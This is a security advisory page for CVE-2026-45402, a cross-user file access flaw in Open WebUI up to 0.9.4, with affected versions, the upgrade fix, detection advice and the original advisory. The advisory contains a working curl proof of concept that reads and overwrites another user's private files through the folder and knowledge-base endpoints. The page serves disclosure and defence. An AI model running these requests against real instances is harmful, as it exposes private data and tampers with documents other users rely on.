CVE-2026-45402: Open WebUI: Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints
Open WebUI up to 0.9.4 lets any logged-in user read another user's private file, and in one path overwrite it, if they know the file's UUID. The folder and knowledge-base endpoints accept a file_id without checking ownership. Fixed in open-webui 0.9.5.
Published May 14, 2026 · Updated May 15, 2026 · Analysis Nov 18, 2026
What an attacker can do
Two paths accept a user-supplied file_id and attach the file to a resource the caller controls, without checking that the caller may read that file.
Path 1: POST /api/v1/folders/{id}/update writes a data.files list into the caller's folder. The middleware then spreads those files into the next chat completion as RAG context. The attacker chats in that folder and the model returns the victim's document. A later cleanup strips the file, but the data has already leaked.
Path 2: POST /api/v1/knowledge/{id}/file/add and /files/batch/add check write access to the knowledge base but not to the file. Once the victim's file is linked to a knowledge base the attacker owns, has_access_to_file returns true. The attacker can then read it through /api/v1/files/{id}/content and overwrite it through /api/v1/files/{id}/data/content/update.
The attacker needs an account and the target file's UUID. UUIDs are not guessable, but they appear in chat citations, shared chats, workspace file URLs and browser history. Overwriting a file lets an attacker poison documents other users rely on in RAG.
Who is affected
The pip package open-webui is affected up to and including 0.9.4. Any multi-user instance is exposed, because any authenticated user can call the folder and knowledge endpoints.
Check your version:
pip show open-webuiFor Docker, check the image tag.
open-webui
- Ecosystem
- PyPI
- Affected
- <= 0.9.4
- Fixed in
- 0.9.5
- Check
pip show open-webui
How to fix it
Upgrade to open-webui 0.9.5:
pip install --upgrade open-webui==0.9.5The 0.9.5 release notes say folder and knowledge attachments now check per-file read access, folder file lists are filtered to readable files, and the process_file and process_files_batch endpoints enforce collection write access. The advisory names no workaround.
How to tell if you were hit
Look in access logs for POST requests to /api/v1/folders/{id}/update with a data.files body, and to /api/v1/knowledge/{id}/file/add or /files/batch/add, where the file_id belongs to a different user. Check for POST requests to /api/v1/files/{id}/data/content/update from users who do not own the file. Compare file contents against known good copies if you suspect tampering.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints
Summary
Multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file — and on the knowledge-base path, also to overwrite it — given knowledge of the file's UUID.
Affected code paths
Path 1 — Folder knowledge ingestion via folders.update
backend/open_webui/routers/folders.py:156 — POST /api/v1/folders/{id}/update accepts a FolderUpdateForm whose data: Optional[dict] field is written verbatim into the folder. The folder consumer at backend/open_webui/utils/middleware.py:2409 spreads folder.data['files'] directly into form_data['files'] for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer) — only the *folder list* endpoint (folders.py:78-94) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time. An attacker with a victim's file UUID can write data: {"files": [{"id": "<victim>", "type": "file"}]} into their own folder, immediately chat in that folder, and have the LLM return the victim's document content via RAG. The cleanup pass strips the file from persistence later, but the exfiltration has already happened.
Path 2 — Knowledge-base attach via knowledge.{id}/file/add and knowledge.{id}/files/batch/add
backend/open_webui/routers/knowledge.py:616-669 (add_file_to_knowledge_by_id) and backend/open_webui/routers/knowledge.py:972-1035 (add_files_to_knowledge_by_id_batch) check the caller's *write access to the knowledge base* but never validate the caller's access to the file_id being attached. Because has_access_to_file(..., user) returns True for any file linked to a KB the caller owns, attaching a victim's file_id to an attacker-owned KB silently unlocks read and write on that file through /api/v1/files/{id}/content and /api/v1/files/{id}/data/content/update. This is a stronger variant than Path 1 — full read AND overwrite, persisted, no cleanup pass to mitigate.
Proof of concept
Path 1 (folder knowledge)
# Attacker writes victim file_id into their own folder
curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}"
# Attacker chats in that folder — victim file becomes RAG context
curl -X POST http://target/api/chat/completions \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folder_id\":\"<attacker_folder_id>\"}"Path 2 (knowledge-base attach)
# Attacker creates own KB
KB=$(curl -s -X POST http://target/api/v1/knowledge/create \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d '{"name":"x","description":"x","data":{}}' | jq -r .id)
# Attach victim's file_id — no ownership check
curl -X POST http://target/api/v1/knowledge/$KB/file/add \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"file_id\":\"$VICTIM_FILE_ID\"}"
# Read victim file through standard files endpoint (now accessible because file is "linked to KB I own")
curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK"
# Overwrite
curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d '{"content":"tampered"}'Impact
- Confidentiality: Any authenticated user can read the contents of any other user's private uploaded file, given knowledge of the file UUID. UUIDs are V4 (not enumerable in practice) but leak through normal usage — file IDs appear in chat sources, in shared chats' citations, in URL paths (/workspace/files/), in browser history / referrer headers, and in any export/share flow that surfaces source metadata.
- Integrity: Path 2 (knowledge attach) additionally allows the attacker to overwrite the victim's file content, persisting attacker-controlled text under the victim's file_id. Subsequent reads by the victim or by any RAG flow that ingests the victim's file return the tampered content.
- Availability: None directly — file rows are not deleted by these paths.
Recommended fix
Validate the supplied file_id against the caller's read access before attaching, in every writer.
Credits
Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.
MrBeard-FT — first to identify the folder-knowledge ingestion path (Path 1) Classic298 — first to identify the knowledge-base attach path (Path 2 — /knowledge/{id}/file/add and /files/batch/add)
Credited to MrBeard-FT, Classic298.
Questions
- Does the attacker need to know the file ID?
Yes. They need the target file's UUID. UUIDs are not guessable, but they leak through chat sources, shared chats, URLs and browser history.
- Can the attacker change the victim's file?
Yes, through the knowledge-base attach path. Once the file is linked to a knowledge base the attacker owns, the attacker can overwrite its content.
- Which version fixes CVE-2026-45402?
0.9.5. Versions up to and including 0.9.4 are affected.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Open WebUI vulnerabilities
All Open WebUI entriesCVE-2026-87011
Open WebUI: Unauthenticated requests can stall the server via uncached OIDC fetches in back-channel logout
high7.5Sep 10, 2026CVE-2026-87012
Open WebUI: Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value
medium4.3Sep 10, 2026CVE-2026-87013
Open WebUI: Any authenticated user can start a non-terminating request via a folder parent cycle
medium4.3Sep 10, 2026CVE-2026-87014
Open WebUI: Admin demoted through SSO role sync keeps read and write access to all users' notes
medium6.5Sep 10, 2026CVE-2026-87015
Open WebUI: A user's session cookies are sent to tool servers configured for bearer authentication
medium6.8Sep 10, 2026CVE-2026-87016
Open WebUI: Sign-in as another user via wildcard characters in the OAuth subject claim on SQLite
high8.1Sep 10, 2026
